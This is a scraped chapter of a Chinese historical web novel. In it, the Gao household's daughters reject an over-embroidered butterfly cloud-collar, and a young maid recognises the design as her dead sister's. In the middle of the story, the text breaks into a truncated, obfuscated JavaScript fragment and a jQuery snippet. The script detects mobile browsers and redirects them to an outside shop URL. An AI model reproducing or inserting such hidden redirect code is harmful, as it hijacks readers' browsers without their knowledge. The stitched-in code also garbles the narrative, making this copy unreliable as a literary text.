默认冷灰
24号文字
方正启体

7. 蝴蝶云肩

作者:压龙大仙本书字数:K更新时间:
    过了晌午,天不知何时阴了下去,看不见云,庭院里也无风,空气粘稠而窒闷。


    玉珰加紧了脚步疾行到院门口,本想先拦住小姐,却发现了一件令境况更糟的事。


    大小姐高雅英是与二小姐高容英一道来的。


    这事巧也不巧。


    巧的是平时十年八载都不可能到绣房走一趟的小姐们,今天竟一下来了两位。


    不巧的是,高雅英与亲妹子高汐英因秉性不和,很少在私下往来,却不知为什么跟杨姨娘所出的二小姐高容英相交甚笃,她俩结伴而行,是常有的事。


    玉珰早该料到的。


    她心下咒骂自己太相信这些小地方的绣娘,将绣样交托出来这段日子,竟没有上心日日来看;又骂自己跟了大小姐多年,为何还是想得这么少,但凡规矩不明令禁止的,小姐怎么就一定不会做?


    只是骂也无用,她更不好叫高容英瞧着高雅英的笑话,自然抹了脸上忧虑神色,款步迎到门口,躬身等候两位小姐入内。


    高雅英今日着一件藕荷色云绫地三蓝绣折枝玉兰纹长袄,下身是湖色织金缠枝莲马面裙。她一贯打扮得隆重,无论外出还是在家。


    个中原因,来源于高雅英所奉行的一套穿衣原则:名贵的衣服是拿来给人瞧的,只穿给自己看则很没意思。但看她最多的,还是家里人,所以高雅英一向在礼法之内,尽量穿得贵重。


    但高容英与她正相反,她上身着一件玉色素绫交领长衫,下身秋香色马面裙,皆不绣花。


    除了极重要的场合外,高容英都是这样穿,纵然显得穷酸都不打紧,不如说越显得清高不流俗,她越是高兴。


    面相上看,高雅英是官宦人家里推崇的那种主母之相:宽额广颐,面似银盘,鼻梁挺秀,鼻头却圆润敦厚,眼睛大而眸色乌沉,看人时并不轻易转动,眼尾微垂,含着几分万言万当,不如一默的沉静。


    高容英则又与她相反。脸窄且小,五官极淡,眉眼细长,鼻子小巧秀气,嘴唇薄而线条分明,乍看之下清秀可怜。


    但细看之下,难免不注意到她的脖子。她脖子较常人要长得多,几乎跟面庞同样宽窄,肩也窄,整个人远远望去,几乎是没有起


    伏的一整个长条。


    比起高雅英,其实高容英更需要一件云肩来岔开她严丝合缝的脑袋和身量。


    两位小姐都在院中站定了。郑婆子领着小丫头们,主绣娘子领着一众绣娘,向两位小姐行礼问安。玉珰在礼前就已经走回了高雅英身边,向另外两个贴身丫头——银钿和花络,轻轻摇了摇头。


    郑婆子急匆匆上前,生怕显不着她似的,又一躬身:


    “给大小姐、二小姐请安了。真是赶早不如赶巧!”


    她老脸皱成一团,殷勤讨好:


    “老奴正带着这几个新来的小丫头到绣房,让娘子们瞧瞧手脚,看看将来是分去缝补还是学些简单的针线,正愁没个眼明心亮的


    人帮着掌掌眼,可巧两位小姐就来了,这可不是天赐的指点?”


    明明适才跟她说了,要先让大小姐看过云肩再配差事,但郑婆子可不把玉珰的话当圣旨,她觉得,像这样时不时给主子找点事儿做,才更能凸显主子们的权力和金贵。


    但高雅英不买她的账,一句话浇灭了郑婆子和所有小丫头们的希望:


    “郑嬷嬷办事向来稳妥,你瞧着分派便是,何需我们来多嘴。”


    她的目光便从郑婆子脸上淡淡掠过,并未停留,更未去看那些瑟缩的新丫头。她转向主绣娘子,丝毫不容拖延地吩咐:


    “我吩咐的那件云肩,说是今日可得。娘子这就取来与我们看看吧,若还有不妥之处,趁着还有些时日,也好立时修改。”


    说罢,左右立刻有丫鬟们去搬凳子给姑娘们坐。玉珰、银钿、花络三个站在两旁,给打扇子、遮阳、捶腿,不敢松懈。高容英一侧自然也是一样。


    须臾,主绣的王娘子打头阵,引着两位绣娘,将那“死蝴蝶”捉到了大小姐眼前。


    站定,王娘子从绣娘们手中接过云肩,双手小心翼翼地托着,向前一步,一副不卑不亢的样子。


    “大小姐您过目,奴婢们日夜赶工,一丝也不敢懈怠。”


    话毕,王娘子又微微侧过身,让光线更好地落在云肩上,一面开口给高雅英陈述:


    “形制与料子是您尊口钦定,奴婢只在绣工上琢磨。这芝麻纱底子软滑,不易承重,寻常绣法难显效果。故而……”


    王娘子像是压根看不见日光投下来时,打在云肩上犹如打在死水上一样。她带着一丝不易察觉的夸耀:


    “奴婢斗胆,用了缎绣,全以铺针满施。”


    说着,她还腾出一根手指,精准地点在丝线排列紧密的绣纹上:


    “唯有此法,方能以针线为笔,将蝶翼脉络、斑驳色块,仿如织就般分毫呈现,不散、不浮。针脚均净如缎面,光泽内蕴,远观近玩,皆有其质。”


    内蕴一句用以描绘此云肩,属实是矜持了,纵然向深处去寻也寻不到的东西,谈不上蕴含其中。


    此时两位主子和贴身女婢们的注意力都在那云肩上,郑婆子也踮着脚看,一时没人管小丫头们,于是个个也松懈下来,都偷眼打量着那件云肩。


    纯儿就在郑婆子身侧,她伺机又细细看了一番,唯恐是自己学艺不精,没看出王娘子手艺的精妙之处,可怎么看,纯儿都觉不出这件云肩的好来。


    用工用料,没有哪一样不是上乘的,功夫下得更足,这样的满绣,怕是一月以来,绣房别的活计都搁下了不少。


    可横竖,还是看不出好。


    纯儿想起鹿啄好像很会鉴赏这些绣品,便回头找鹿啄,哪怕是能有个与她相同的神色落在眼里,也让她对自己的判断更多几分底气。可转过头,只看见鹿啄盯着自己的脚面。她两脚之间,正有一队蚂蚁在搬一块儿饼渣子——可能是绣娘们午饭时掉落的。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030537|194532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >在鹿啄眼里,王娘子的云肩还比不上蚂蚁搬吃食来的有趣好看。


    纯儿大致明白了,也把头低下去。


    此时,尽管罗列了一大堆的好处,王娘子仍未罢休,又如捧着仙子的心肝般,把云肩向上送了送,想凑近让高雅英细看针脚,谁知手伸了两寸,高雅英却向后缩了一下,摆手道:


    “有劳王娘子。”


    王娘子不解,可她看得出眼色,于是讪讪收回手,眼里突然冒出一丝不服。


    只听高雅英又道:


    “我当初与你说的,是翩然若生,要的是蝴蝶停在肩头那一瞬的活气。”她的语调平稳,听不出情绪,“如今看来,是我说得深了。”


    闻言,王娘子的脸由白转红,继而又变得更白。她怎会听不出这话里藏着的“俗气”两个字,可深闺小姐又懂什么技艺?一味地要特别、要雅致而已。


    她自然没分量去瞧不上小姐什么,可她也是有本事,有傲气的人,劈头盖脸的数落,难免叫她心绪不定,显在面上。


    高雅英倒浑不在意,只说:


    “拆了吧,回天乏术。料子,工钱,都记在我的账上,不必劳动报给庄嬷嬷,丢不起那个人。”


    这话更难听了。王娘子僵在原地,似乎想强辩,但苦于没有托词,反而是旁边一直缄口的高容英,忽道:


    “大姐姐何必灰心呢,当初母亲把苓娘的花样子给咱们,你我都觉得做不成啊。这象生的境界本就是极难的,强求不得。”


    “若苓娘活着,也未必做不成。”


    苓娘这两个字,就像从天上掉下来一颗刺,扎进鹿啄的天灵盖里。她猛地抬头,仔细看了看王娘子手里拿着的云肩。


    那云肩的确绣得非常难看,不值一观,她先头没有想错。可仔细再瞧瞧形制和轮廓,实是极美的,若绣好了,普天之下也没有第二件。形制的绣样,乃至于每处绣花的花样,只能是出自鹿苓之手,不会有假。


    纵然是姐姐死了,她们也不忘拿着姐姐生前留下的东西,给自己贴脸面。


    鹿啄皱起眉头。


    此时,高容英又开口了:


    “苓娘活着,可轮不到咱们姐妹驱使,她专职给父亲缝补子,母亲都未必叫得动。”


    高雅英不屑。


    “父亲那儿才多少活儿?那补子也没什么看头。早知道她命这么薄,当时使性子也该叫母亲给我讨来一两件袄裙。”


    说罢,她又觉得眼前的王娘子碍眼似的,一个眼神飞过去:


    “愣着做什么,还不拆?”


    王娘子还未动,郑婆子身旁的纯儿却突然感觉腿后一疼,像是让人踹了一脚。这一脚来得突然,纵然力道不重,她毫无防备,几乎是瞬间,身子猛地向前一扑,跪倒在地上,伴随着一声轻呼。


    一时间,院子里所有人都朝纯儿看过来,纯儿面上一热,赶紧回头去看是谁踹她,刚回过头,就见鹿啄站在身后,用嘴型对她说了两个字:有救。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)